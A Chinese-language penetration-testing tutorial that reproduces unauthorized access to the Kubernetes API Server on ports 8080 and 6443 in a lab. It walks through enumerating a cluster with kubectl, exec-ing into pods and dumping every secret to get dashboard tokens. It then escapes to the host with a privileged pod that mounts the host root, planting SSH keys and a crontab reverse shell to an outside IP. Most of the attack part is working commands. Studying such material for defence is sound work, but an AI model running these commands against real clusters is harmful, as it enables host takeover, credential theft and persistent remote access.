K8s API Server未授權命令執行
K8s 的API Server默認服務端口為8080(insecure-port)和6443(secure-port),8080端口提供HTTP服務,沒有認證授權機制,而6443端口提供HTTPS服務,支持認證(使用令牌或客戶端證書進行認證)和授權服務。默認情況下8080端口不啟動,而6443端口啟動。這兩個端口的開放取決于/etc/kubernetes/manifests/kube-apiserver.yaml配置文件。

如果目標K8s的8080端口開啟了,由于其沒有認證授權機制,因此存在未授權訪問。
如果目標K8s的6443端口開啟了,如果配置錯誤,也可以導致存在未授權訪問。
漏洞復現
8080端口
默認情況下,8080端口關閉的,下面我們手動去開啟。
cd /etc/kubernetes/manifestsvim kube-apiserver.yaml
高版本的k8s中,將--insecure-port這個配置刪除了,因此手動添加如下兩行
- --insecure-port=8080- --insecure-bind-address=0.0.0.0

#重啟k8ssystemctl restart kubectl
訪問8080端口即可看到存在未授權。

也可以使用kubectl遠程連接獲得信息
kubectl -s http://10.211.55.35:8080 get nodes

注:在高版本(1.20及其以后)的K8s中直接禁用了該端口,并且無法打開。
6443端口
如果運維人員配置不當,將"system:anonymous"用戶綁定到"cluster-admin"用戶組,則會使得6443端口允許匿名用戶以管理員權限訪問。
正常情況下訪問6443端口,提示Forbidden。

執行如下命令將"system:anonymous"用戶綁定到"cluster-admin"用戶組。
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

可以看到再次訪問訪問6443端口,即可未授權訪問。

未授權利用
以下以8080端口未授權為例,6443端口未授權利用方法一致。
命令執行
查看K8s集群信息
執行如下命令查看K8s集群信息
kubectl -s http://10.211.55.35:8080 cluster-info

查看node節點信息
執行如下命令查看K8s node節點信息
#查看node節點kubectl -s http://10.211.55.35:8080 get nodes#查看node節點詳細信息kubectl -s http://10.211.55.35:8080 get nodes -o wide

查看pod節點信息
執行如下命令查看K8s pod信息
#查看所有的podkubectl -s http://10.211.55.35:8080 get pods -A

執行命令
通過獲取到的pods節點信息,進入對應docker 命令執行。-n對應的是NAMESPACE,-it 對應的是NAME。
#進入命名空間為default,名字為hello-minikube的容器kubectl -s http://10.211.55.35:8080 exec -n default -it hello-minikube -- /bin/bash#進入命名空間為kube-system,名字為etcd-ubuntu的容器kubectl -s http://10.211.55.35:8080 exec -n kube-system -it etcd-ubuntu -- /bin/sh

獲取Token登錄dashboard
訪問如下接口,即可看到K8s所有的Token,我們過濾找到dashboard-admin相關的Token。
http://10.211.55.3:8080/api/v1/namespaces/kube-system/secrets/https://172.16.200.70:6443/api/v1/namespaces/kube-system/secrets/

然后對其base64解碼一次,即可使用base64解碼后的Token登錄K8s的dashboard。在線base64編碼解碼:https://base64.us

獲取宿主機權限
通過k8s dashboard,創建特權Pods來獲得宿主機權限。登錄dashboard后臺后,點擊+號。

然后輸入如下命JSON內容,創建名為myapp的pod,并且將宿主機的目錄掛在到了/mnt目錄下。
apiVersion: v1kind: Podmetadata: name: myappspec: containers: - image: nginx name: container volumeMounts: - mountPath: /mnt name: test volumes: - name: test hostPath: path: /

然后可以看到剛剛創建的pod。

點擊myapp名稱,再點擊如下。

可以進入到命令窗口

寫入SSH公鑰
切換到/mnt/root/.ssh目錄下,寫入公鑰文件,即可免密登錄宿主機。

定時任務反彈shell
也可以往宿主機寫入crontab來反彈獲取shell,執行如下命令,將反彈shell的命令寫入/var/spool/cron/root文件中。
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.200.58/4444 0>&1" > root

可以看到已經收到node節點反彈的shell了。

chroot
或者也可以直接chroot。
chroot /mnt
